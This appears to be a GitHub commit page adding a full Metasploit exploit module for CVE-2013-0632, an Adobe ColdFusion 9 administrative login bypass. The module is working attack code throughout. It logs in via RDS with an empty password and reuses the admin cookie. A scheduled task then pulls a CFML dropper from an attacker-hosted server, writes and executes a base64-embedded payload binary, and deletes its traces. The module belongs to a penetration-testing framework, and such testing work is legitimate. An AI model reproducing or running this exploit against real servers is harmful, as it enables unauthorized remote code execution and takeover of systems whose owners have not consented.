Skip to content

Commit 3d55013

Browse files
committed
2 parents 2ef3caa + 30960e9 commit 3d55013

File tree

1 file changed

+315
-0
lines changed

1 file changed

+315
-0
lines changed
Lines changed: 315 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,315 @@
1+
##
2+
# This module requires Metasploit: http//metasploit.com/download
3+
# Current source: https://github.com/rapid7/metasploit-framework
4+
##
5+
6+
require 'msf/core'
7+
8+
class Metasploit3 < Msf::Exploit::Remote
9+
10+
include Msf::Exploit::Remote::HttpClient
11+
include Msf::Exploit::Remote::HttpServer::HTML
12+
include Msf::Exploit::EXE
13+
14+
Rank = GreatRanking
15+
16+
def initialize(info = {})
17+
super(update_info(info,
18+
'Name' => 'Adobe ColdFusion 9 Administrative Login Bypass',
19+
'Description' => %q{
20+
Adobe ColdFusion 9.0, 9.0.1, 9.0.2, and 10 allows remote attackers to bypass authentication using the RDS component. Its password can
21+
by default or by misconfiguration be set to an empty value. This allows you to create a session via the RDS login that
22+
can be carried over to the admin web interface even though the passwords might be different. Therefore bypassing
23+
authentication on the admin web interface which then could lead to arbitrary code execution.
24+
Tested on Windows and Linux with ColdFusion 9.
25+
},
26+
'Author' =>
27+
[
28+
'Scott Buckel', # Vulnerability discovery
29+
'Mekanismen <mattias[at]gotroot.eu>' # Metasploit module
30+
],
31+
'License' => MSF_LICENSE,
32+
'References' =>
33+
[
34+
[ "CVE", "2013-0632" ],
35+
[ "EDB", "27755" ],
36+
[ "URL", "http://www.adobe.com/support/security/bulletins/apsb13-03.html" ]
37+
],
38+
'Privileged' => false,
39+
'Stance' => Msf::Exploit::Stance::Aggressive, #thanks juan!
40+
'Platform' => ['win', 'linux'],
41+
'Targets' =>
42+
[
43+
[ 'Windows',
44+
{
45+
'Arch' => ARCH_X86,
46+
'Platform' => 'win'
47+
}
48+
],
49+
[ 'Linux',
50+
{
51+
'Arch' => ARCH_X86,
52+
'Platform' => 'linux'
53+
}
54+
],
55+
],
56+
'DefaultTarget' => 0,
57+
'DisclosureDate' => 'Aug 08 2013'
58+
))
59+
60+
register_options(
61+
[
62+
OptString.new('EXTURL', [ false, 'An alternative host to request the CFML payload from', "" ]),
63+
OptInt.new('HTTPDELAY', [false, 'Time that the HTTP Server will wait for the payload request', 10]),
64+
], self.class)
65+
66+
register_advanced_options(
67+
[
68+
OptString.new('CFIDDIR', [ true, 'Alternative CFIDE directory', 'CFIDE'])
69+
])
70+
end
71+
72+
def check
73+
uri = target_uri.path
74+
75+
#can we access the admin interface?
76+
res = send_request_cgi({
77+
'method' => 'GET',
78+
'uri' => normalize_uri(uri, datastore['CFIDDIR'], 'administrator', 'index.cfm'),
79+
})
80+
81+
if res and res.code == 200 and res.body.to_s =~ /ColdFusion Administrator Login/
82+
print_good "#{peer} - Administrator access available"
83+
else
84+
return Exploit::CheckCode::Safe
85+
end
86+
87+
#is it cf9?
88+
res = send_request_cgi({
89+
'method' => 'GET',
90+
'uri' => normalize_uri(uri, datastore['CFIDDIR'], 'administrator', 'images', 'loginbackground.jpg')
91+
})
92+
93+
img = Rex::Text.md5(res.body.to_s)
94+
imghash = "596b3fc4f1a0b818979db1cf94a82220"
95+
96+
if img == imghash
97+
print_good "#{peer} - ColdFusion 9 Detected"
98+
else
99+
return Exploit::CheckCode::Safe
100+
end
101+
102+
#can we access the RDS component?
103+
res = send_request_cgi({
104+
'method' => 'POST',
105+
'uri' => normalize_uri(uri, datastore['CFIDDIR'], 'adminapi', 'administrator.cfc'),
106+
'vars_post' => {
107+
'method' => "login",
108+
'adminpassword' => "",
109+
'rdsPasswordAllowed' => "1"
110+
}
111+
})
112+
113+
if res and res.code == 200 and res.body.to_s =~ /true/
114+
return Exploit::CheckCode::Appears
115+
else
116+
return Exploit::CheckCode::Safe
117+
end
118+
end
119+
120+
def exploit
121+
@pl = gen_file_dropper
122+
@payload_url = ""
123+
124+
if datastore['EXTURL'].blank?
125+
begin
126+
Timeout.timeout(datastore['HTTPDELAY']) {super}
127+
rescue Timeout::Error
128+
end
129+
exec_payload
130+
else
131+
@payload_url = datastore['EXTURL']
132+
upload_payload
133+
exec_payload
134+
end
135+
end
136+
137+
def primer
138+
@payload_url = get_uri
139+
upload_payload
140+
end
141+
142+
def on_request_uri(cli, request)
143+
if request.uri =~ /#{get_resource}/
144+
send_response(cli, @pl)
145+
end
146+
end
147+
148+
#task scheduler is pretty bad at handling binary files and likes to mess up our meterpreter :-(
149+
#instead we use a CFML filedropper to embed our payload and execute it.
150+
#this also removes the dependancy of using the probe.cfm to execute the file.
151+
152+
def gen_file_dropper
153+
rand_var = rand_text_alpha(8+rand(8))
154+
rand_file = rand_text_alpha(8+rand(8))
155+
156+
if datastore['TARGET'] == 0
157+
rand_file += ".exe"
158+
end
159+
160+
encoded_pl = Rex::Text.encode_base64(generate_payload_exe)
161+
162+
print_status "Building CFML shell..."
163+
#embed payload
164+
shell = ""
165+
shell += " <cfset #{rand_var} = ToBinary( \"#{encoded_pl}\" ) />"
166+
shell += " <cffile action=\"write\" output=\"##{rand_var}#\""
167+
shell += " file= \"#GetDirectoryFromPath(GetCurrentTemplatePath())##{rand_file}\""
168+
#if linux set correct permissions
169+
if datastore['TARGET'] == 1
170+
shell += " mode = \"700\""
171+
end
172+
shell += "/>"
173+
#clean up our evil .cfm
174+
shell += " <cffile action=\"delete\""
175+
shell += " file= \"#GetDirectoryFromPath(GetCurrentTemplatePath())##listlast(cgi.script_name,\"/\")#\"/>"
176+
#execute our payload!
177+
shell += " <cfexecute"
178+
shell += " name = \"#GetDirectoryFromPath(GetCurrentTemplatePath())##{rand_file}\""
179+
shell += " arguments = \"\""
180+
shell += " timeout = \"60\"/>"
181+
182+
return shell
183+
end
184+
185+
def exec_payload
186+
uri = target_uri.path
187+
188+
print_status("#{peer} - Our payload is at: #{peer}\\#{datastore['CFIDDIR']}\\#{@filename}")
189+
print_status("#{peer} - Executing payload...")
190+
191+
res = send_request_cgi({
192+
'method' => 'GET',
193+
'uri' => normalize_uri(uri, datastore['CFIDDIR'], @filename)
194+
})
195+
end
196+
197+
def upload_payload
198+
uri = target_uri.path
199+
200+
@filename = rand_text_alpha(8+rand(8)) + ".cfm" #numbers is a bad idea
201+
taskname = rand_text_alpha(8+rand(8)) #numbers is a bad idea
202+
203+
print_status "#{peer} - Trying to upload payload via scheduled task..."
204+
res = send_request_cgi({
205+
'method' => 'POST',
206+
'uri' => normalize_uri(uri, datastore['CFIDDIR'], 'adminapi', 'administrator.cfc'),
207+
'vars_post' => {
208+
'method' => "login",
209+
'adminpassword' => "",
210+
'rdsPasswordAllowed' => "1"
211+
}
212+
})
213+
214+
unless res and res.code == 200
215+
fail_with(Failure::Unknown, "#{peer} - RDS component was unreachable")
216+
end
217+
218+
#deal with annoying cookie data prepending (sunglasses)
219+
cookie = res.get_cookies
220+
221+
if res and res.code == 200 and cookie =~ /CFAUTHORIZATION_cfadmin=;(.*)/
222+
cookie = $1
223+
else
224+
fail_with(Failure::Unknown, "#{peer} - Unable to get auth cookie")
225+
end
226+
227+
res = send_request_cgi({
228+
'method' => 'GET',
229+
'uri' => normalize_uri(uri, datastore['CFIDDIR'], 'administrator', 'index.cfm'),
230+
'cookie' => cookie
231+
})
232+
233+
if res and res.code == 200 and res.body.to_s =~ /ColdFusion Administrator Login/
234+
print_good("#{peer} - Logged in as Administrator!")
235+
else
236+
fail_with(Failure::Unknown, "#{peer} - Login Failed")
237+
end
238+
239+
#get file path gogo
240+
res = send_request_cgi({
241+
'method' => 'GET',
242+
'uri' => normalize_uri(uri, datastore['CFIDDIR'], 'administrator', 'settings', 'mappings.cfm'),
243+
'vars_get' => {
244+
'name' => "/CFIDE"
245+
},
246+
'cookie' => cookie
247+
})
248+
249+
unless res and res.code == 200
250+
fail_with(Failure::Unknown, "#{peer} - Mappings URL was unreachable")
251+
end
252+
253+
if res.body =~ /<input type="text" maxlength="550" name="directoryPath" value="(.*)" size="40" id="dirpath">/
254+
file_path = $1
255+
print_good("#{peer} - File path disclosed! #{file_path}")
256+
else
257+
fail_with(Failure::Unknown, "#{peer} - Unable to get upload filepath")
258+
end
259+
260+
print_status("#{peer} - Adding scheduled task")
261+
res = send_request_cgi({
262+
'method' => 'POST',
263+
'uri' => normalize_uri(uri, datastore['CFIDDIR'], 'administrator', 'scheduler', 'scheduleedit.cfm'),
264+
'vars_post' => {
265+
'TaskName' => taskname,
266+
'Start_Date' => "Nov 1, 2420",
267+
'End_Date' => "",
268+
'Interval' => "",
269+
'ScheduleType' => "Once",
270+
'Operation' => "HTTPRequest",
271+
'ScheduledURL' => @payload_url,
272+
'publish' => "1",
273+
'publish_file' => "#{file_path}\\#{@filename}",
274+
'adminsubmit' => "Submit"
275+
},
276+
'cookie' => cookie
277+
})
278+
279+
unless res and res.code == 200 or res.code == 302 #302s can happen but it still works, http black magic!
280+
fail_with(Failure::Unknown, "#{peer} - Scheduled task failed")
281+
end
282+
283+
print_status("#{peer} - Running scheduled task")
284+
res = send_request_cgi({
285+
'method' => 'GET',
286+
'uri' => normalize_uri(uri, datastore['CFIDDIR'], 'administrator', 'scheduler', 'scheduletasks.cfm'),
287+
'vars_get' => {
288+
'runtask' => taskname,
289+
'timeout' => "0"
290+
},
291+
'cookie' => cookie
292+
})
293+
294+
if res and res.code == 200 and res.body.to_s =~ /This scheduled task was completed successfully/
295+
print_good("#{peer} - Scheduled task completed successfully")
296+
else
297+
fail_with(Failure::Unknown, "#{peer} - Scheduled task failed")
298+
end
299+
300+
print_status("#{peer} - Deleting scheduled task")
301+
res = send_request_cgi({
302+
'method' => 'GET',
303+
'uri' => normalize_uri(uri, datastore['CFIDDIR'], 'administrator', 'scheduler', 'scheduletasks.cfm'),
304+
'vars_get' => {
305+
'action' => "delete",
306+
'task' => taskname
307+
},
308+
'cookie' => cookie
309+
})
310+
311+
unless res and res.code == 200
312+
print_error("#{peer} - Scheduled task deletion failed, cleanup might be needed!")
313+
end
314+
end
315+
end

0 commit comments

Comments
 (0)